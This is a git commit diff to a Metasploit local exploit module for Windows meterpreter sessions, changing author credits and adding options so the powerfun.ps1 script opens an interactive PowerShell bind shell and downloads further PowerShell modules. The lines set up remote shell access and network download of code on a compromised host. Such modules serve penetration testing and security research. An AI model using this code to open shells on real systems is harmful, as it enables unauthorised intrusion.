updates to script

bug/bundler_fix
benpturner 2015-04-22 20:45:43 +01:00
parent 99156f1247
commit 5a648ef79b
1 changed files with 11 additions and 7 deletions

View File

@ -21,10 +21,14 @@ class Metasploit3 < Msf::Exploit::Local
'Platform' => ['win'], 'Platform' => ['win'],
'SessionTypes' => ['meterpreter'], 'SessionTypes' => ['meterpreter'],
'DisclosureDate' => 'Apr 15 2015', 'DisclosureDate' => 'Apr 15 2015',
'Author' => [ 'Author' =>
'Ben Turner', # changed module to load interactive powershell via bind tcp [
'Dave Hardy', # changed module to load interactive powershell via bind tcp and load other powershell modules 'Ben Turner', # benpturner
'Nicholas Nam <nick[at]executionflow.org>', # original meterpreter script 'Dave Hardy' # davehardy20
],
'References' =>
[
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
], ],
'Payload' => 'Payload' =>
{ {
@ -68,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Local
'powerfun.ps1') 'powerfun.ps1')
script_in = File.read(template_path) script_in = File.read(template_path)
script_in << "\npowerfun" script_in << "\npowerfun -Command bind"
mods = '' mods = ''
@ -78,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Local
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session") print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
mods_array.each {|m| vprint_good " #{m}"} mods_array.each {|m| vprint_good " #{m}"}
mods = "\"#{mods_array.join("\",\n\"")}\"" mods = "\"#{mods_array.join("\",\n\"")}\""
script_in << " 1\n" script_in << " -Download true\n"
end end
script_in.gsub!('MODULES_REPLACE', mods) script_in.gsub!('MODULES_REPLACE', mods)